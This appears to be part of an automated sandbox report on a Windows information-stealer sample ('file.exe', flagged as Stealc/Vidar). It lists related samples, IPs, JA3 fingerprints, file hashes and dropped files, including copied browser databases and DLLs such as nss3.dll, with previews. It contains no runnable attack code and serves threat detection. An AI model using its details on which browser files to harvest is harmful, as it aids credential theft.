	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	154.197.57.26
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.19.139
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	172.67.216.167
	pyjnkasedf.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	lkyhjksefa.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.19.213
	kyjjrfgjjsedf.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	kohjaekdfth.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	kthkksefd.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	jhnykawfkth.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	gjawedrtg.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.82.174

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	kisteruop.exe	Get hash	malicious	Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	kisloyat.exe	Get hash	malicious	Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	pyjnkasedf.exe	Get hash	malicious	Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	krgawdtyjawd.exe	Get hash	malicious	Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	104.21.16.9
	lkyhjksefa.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	gjawedrtg.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	fsyjawdr.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	fkydjyhjadg.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	bxftjhksaef.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	Solara.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	kfhtksfesek.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
37f463bf4616ecd445d4a1937da06e19	TikTokDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	TTDesktop18.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	TT18.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	nothjgdwa.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	pyjnkasedf.exe	Get hash	malicious	Vidar	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	nthnaedltg.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	lyjdfjthawd.exe	Get hash	malicious	Stealc, Vidar	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	kyjjrfgjjsedf.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.21.16 164.132.168.81 104.26.12.42
	kohjaekdfth.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.21.21.16 164.132.168.81 104.26.12.42

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	kisteruop.exe	Get hash	malicious	Stealc, Vidar	Browse
	kisloyat.exe	Get hash	malicious	Stealc, Vidar	Browse
	krgawdtyjawd.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFCFBKKKFHCFHJKFIIEHDBGCBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03862698848467049
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxAserRNbekZ3DmVxL1HI:58r54w0VW3xWmfRFj381
MD5:	507BA3B63F5856A191688A30D7E2A93A
SHA1:	1B799649D965FF1562753A9EB9B04AC83E5D7C57
SHA-256:	10A34BE61CD43716879A320800A262D0397EA3A8596711BDAE3789B08CB38EF8
SHA-512:	7750584100A725964CAE3A95EC15116CDFE02DE94EFE545AA84933D6002C767F6D6AF9D339F257ED80BDAD233DBF3A1041AB98AB4BF8B6427B5958C66DCEB55F
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAAKKFHCFIECAAAKEGCFIEHDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBKFBAEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIDGCGIEGDGDGDGHJKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHCGDAFCFHIDBGDHCFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBKKKKKFBGDGDHIDBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9526
Entropy (8bit):	5.515924904533179
Encrypted:	false
SSDEEP:	192:efniR4oYbBp6Sp0pUhUxaXd6Y4nysZM2WklbBNBw8DUSl:hejGpCUvY4ysn7tpwx0
MD5:	4580799F1DC5720A7EC1766400E98740
SHA1:	92FD30F47EC545245B934EA492B3C64D5E609AA9
SHA-256:	57F457D69933E9E8A98C32A05EEE96171419977D45AFFA674A9761556656B9FA
SHA-512:	C0787F6584D1D26EBFD5AE59F32046CF1FF5AD1BEB1443F2FE93EB89EFA2F216CBC98E101BA3E38A2837ED9411A9DE1370E29ED96E83D8096547E53FEE964567
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "d3d72102-142d-47cc-a7b7-5b20541f2540");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696496527);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696496528);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JEHIJJKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: kisteruop.exe, Detection: malicious, Browse Filename: kisloyat.exe, Detection: malicious, Browse Filename: krgawdtyjawd.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\59ba2f35-0f36-47ca-a554-dd8a8eaa843b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58900
Entropy (8bit):	6.104979899123117
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn31lCBS2qX7bewgorQXdbiR3oM:z/0+zI7yn31lkS20AXdbe3
MD5:	0C97D3586E4BDA7EF10084A12EA49AA3
SHA1:	3FE7C00E7BDD1CC8B3FECFFEDA3F6D3A7CFE4F95
SHA-256:	739282EF3FD6192D5984AB295A7B3BA6B5EA4116AEE6808AB49D0EB0271DAD17
SHA-512:	5A7E4AACC65B00165FF0A4D57CFA10228211496DE7FC850FA91E5C6DC94B72DD4656043D792839B9CFE8D9FA67AEA9B0C1B344910F2484323AE8D99BE8056D84
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9611c352-85f5-4656-bca2-e99ace7db05d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101690737688716
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn0CBS2qX7b9tPHgorQXdbiR3oM:z/0+zI7yn0kS20NtP0Xdbe3
MD5:	C894B2F056C0FDF937C77A3FE6D4C51C
SHA1:	EE2EA602E09966658EEF2F9423F124C2CCF26BD8
SHA-256:	9EEF5EF04890A69EC0C1DC97157288CD932ADC5B8085032C8847761ACA14BB03
SHA-512:	9E5236E4ADCA4EBAACACAB4050C96686A7C557269923DB0287D51B92A71EF2B628D88F2E3A70DFAF829FC6E849D1A7A60648089A7FC060D02154D2BDF4719374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674B892B-1F70.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04727215882847097
Encrypted:	false
SSDEEP:	192:JeMP0m5tmGnOAW5YjJPi6VBK/7+HfgHXTZIWMEYTwgh0MN2fcRQ8/lgPubnn8y0d:1P0Ut5Ld4aphhGQJzbn08T2RGOD
MD5:	EB90505AB3D967A48EE196B1F0C9BB9E
SHA1:	53CE89B0DBF2DDA7591A52F377F635FE1CAAB86C
SHA-256:	E3D8203B1E0C9BEF41D429C7EBE5F26D869420745650825CF28A83886F108C5C
SHA-512:	F359BCF13C304131FA1E936200BA0C2AC48297B8AAC38EF3D8D6139F3E70EE44658BF85C881764714D7F8234A8ED8F9A5172092B2B29E46FB6DF097E72CE7FC2
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".keogsj20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U..G...W6.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2.......,..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-674B892C-17D4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046711913340495625
Encrypted:	false
SSDEEP:	192:plBh0m5tmGnOAW6YEJwA8x5XSggykfhbNNET6IZ/ERQcUdBvl9WDn8y08Tcm2RGY:7D0Ut5HQk9hZcYIdz9808T2RGOD
MD5:	AADABB05E11016B78072142606F58250
SHA1:	5F04199CC0AD8C5E7B93F593C5440780326217D1
SHA-256:	AE7F731F5CCE791BBEE0863F03E6B73D08571B75F0CF4E0809D71653100597DB
